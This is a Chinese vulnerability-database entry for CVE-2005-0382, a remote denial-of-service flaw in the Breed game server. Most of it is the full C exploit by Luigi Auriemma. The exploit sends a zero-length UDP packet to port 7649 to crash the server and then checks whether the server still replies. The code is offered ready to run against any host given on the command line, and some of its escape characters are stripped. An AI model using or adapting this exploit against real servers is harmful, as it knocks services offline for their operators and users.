Breed UDP数据包远程拒绝服务漏洞

漏洞ID	1108404	漏洞类型	其他
发布时间	2005-01-13	更新时间	2005-10-20
CVE编号	CVE-2005-0382	CNNVD-ID	CNNVD-200505-348
漏洞平台	Windows	CVSS评分	5.0

|漏洞来源

https://www.exploit-db.com/exploits/755
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200505-348

|漏洞详情

Breed是一款动作类的在线游戏。BreedPatch1以及更早的版本中被发现存在一个漏洞，远程攻击者可以利用这个漏洞导致Breed服务器崩溃而失去响应能力。

|漏洞EXP

/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

#ifdef WIN32
    #include <winsock.h>
/*
   Header file used for manage errors in Windows
   It support socket and errno too
   (this header replace the previous sock_errX.h)
*/

#include <string.h>
#include <errno.h>



void std_err(void) {
    char    *error;

    switch(WSAGetLastError()) {
        case 10004: error = "Interrupted system call"; break;
        case 10009: error = "Bad file number"; break;
        case 10013: error = "Permission denied"; break;
        case 10014: error = "Bad address"; break;
        case 10022: error = "Invalid argument (not bind)"; break;
        case 10024: error = "Too many open files"; break;
        case 10035: error = "Operation would block"; break;
        case 10036: error = "Operation now in progress"; break;
        case 10037: error = "Operation already in progress"; break;
        case 10038: error = "Socket operation on non-socket"; break;
        case 10039: error = "Destination address required"; break;
        case 10040: error = "Message too long"; break;
        case 10041: error = "Protocol wrong type for socket"; break;
        case 10042: error = "Bad protocol option"; break;
        case 10043: error = "Protocol not supported"; break;
        case 10044: error = "Socket type not supported"; break;
        case 10045: error = "Operation not supported on socket"; break;
        case 10046: error = "Protocol family not supported"; break;
        case 10047: error = "Address family not supported by protocol family"; break;
        case 10048: error = "Address already in use"; break;
        case 10049: error = "Can't assign requested address"; break;
        case 10050: error = "Network is down"; break;
        case 10051: error = "Network is unreachable"; break;
        case 10052: error = "Net dropped connection or reset"; break;
        case 10053: error = "Software caused connection abort"; break;
        case 10054: error = "Connection reset by peer"; break;
        case 10055: error = "No buffer space available"; break;
        case 10056: error = "Socket is already connected"; break;
        case 10057: error = "Socket is not connected"; break;
        case 10058: error = "Can't send after socket shutdown"; break;
        case 10059: error = "Too many references, can't splice"; break;
        case 10060: error = "Connection timed out"; break;
        case 10061: error = "Connection refused"; break;
        case 10062: error = "Too many levels of symbolic links"; break;
        case 10063: error = "File name too long"; break;
        case 10064: error = "Host is down"; break;
        case 10065: error = "No Route to Host"; break;
        case 10066: error = "Directory not empty"; break;
        case 10067: error = "Too many processes"; break;
        case 10068: error = "Too many users"; break;
        case 10069: error = "Disc Quota Exceeded"; break;
        case 10070: error = "Stale NFS file handle"; break;
        case 10091: error = "Network SubSystem is unavailable"; break;
        case 10092: error = "WINSOCK DLL Version out of range"; break;
        case 10093: error = "Successful WSASTARTUP not yet performed"; break;
        case 10071: error = "Too many levels of remote in path"; break;
        case 11001: error = "Host not found"; break;
        case 11002: error = "Non-Authoritative Host not found"; break;
        case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
        case 11004: error = "Valid name, no data record of requested type"; break;
        default: error = strerror(errno); break;
    }
    fprintf(stderr, "nError: %sn", error);
    exit(1);
}


/* Combined winerr.h | breedzero.c /str0ke */

    #define close   closesocket
    #define ONESEC  1000
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>

    #define ONESEC  1
#endif



#define VER     "0.1"
#define BUFFSZ  2048
#define PORT    7649
#define TIMEOUT 3

#define SEND(x) if(sendto(sd, x, sizeof(x) - 1, 0, (struct sockaddr *)&peer, sizeof(peer)) 
                  < 0) std_err();
#define RECV    if(timeout(sd) < 0) { 
                    fputs("n" 
                        "Error: socket timeout, no reply receivedn" 
                        "n", stdout); 
                    exit(1); 
                } 
                len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL); 
                if(len < 0) std_err();



void show_info(u_char *data, int len);
int timeout(int sock);
u_long resolv(char *host);
void std_err(void);



int main(int argc, char *argv[]) {
    struct  sockaddr_in peer;
    int     sd,
            len;
    u_short port = PORT;
    u_char  *buff,
            query[] =
                "xfexfdx00x00x00x00x00xffx00x00";


    setbuf(stdout, NULL);

    fputs("n"
        "Breed <= patch #1 zero-length crash "VER"n"
        "by Luigi Auriemman"
        "e-mail: [email protected]"
        "web:    http://aluigi.altervista.orgn"
        "n", stdout);

    if(argc < 2) {
        printf("n"
            "Usage: %s <host> [port(%d)]n"
            "n", argv[0], port);
        exit(1);
    }

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    if(argc > 2) port = atoi(argv[2]);

    peer.sin_addr.s_addr = resolv(argv[1]);
    peer.sin_port        = htons(port);
    peer.sin_family      = AF_INET;

    printf("- target   %s : %hun",
        inet_ntoa(peer.sin_addr), port);

    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();

    buff = malloc(BUFFSZ + 1);
    if(!buff) std_err();

    fputs("- request informations:n", stdout);
    *(u_long *)(query + 3) = time(NULL) ^ 0x12345678;
    SEND(query);
    RECV;
    show_info(buff, len);

    fputs("- send zero-length packetn", stdout);
    SEND("");

    sleep(ONESEC);

    fputs("- check server:n", stdout);
    *(u_long *)(query + 3) = time(NULL) ^ 0x87654321;
    SEND(query);
    if(timeout(sd) < 0) {
        fputs("nServer IS vulnerable!!!nn", stdout);
    } else {
        fputs("nServer doesn't seem vulnerablenn", stdout);
    }

    close(sd);
    return(0);
}



void show_info(u_char *data, int len) {
    u_char  *p,
            *limit;
    int     nt = 0;

    limit = data + len;
    data += 5;
    while(data < limit) {
        p = strchr(data, 0x00);
        if(!p) break;
        *p = 0x00;

        if(!nt) {
            if(data == p) break;
            printf("%30s: ", data);
            nt++;
        } else {
            printf("%sn", data);
            nt = 0;
        }
        data = p + 1;
    }
    fputc('n', stdout);
}



int timeout(int sock) {
    struct  timeval tout;
    fd_set  fd_read;
    int     err;

    tout.tv_sec = TIMEOUT;
    tout.tv_usec = 0;
    FD_ZERO(&fd_read);
    FD_SET(sock, &fd_read);
    err = select(sock + 1, &fd_read, NULL, NULL, &tout);
    if(err < 0) std_err();
    if(!err) return(-1);
    return(0);
}



u_long resolv(char *host) {
    struct hostent *hp;
    u_long host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("nError: Unable to resolv hostname (%s)n", host);
            exit(1);
        } else host_ip = *(u_long *)hp->h_addr;
    }
    return(host_ip);
}



#ifndef WIN32
    void std_err(void) {
        perror("nError");
        exit(1);
    }
#endif

// milw0rm.com [2005-01-13]

|参考资料

来源:XF
名称:breed-udp-datagram-dos(18890)
链接:http://xforce.iss.net/xforce/xfdb/18890
来源:BID
名称:12262
链接:http://www.securityfocus.com/bid/12262
来源:SECUNIA
名称:13211
链接:http://secunia.com/advisories/13211
来源:BUGTRAQ
名称:20050113ServercrashinBreedpatch#1
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=110565587010998&w;=2

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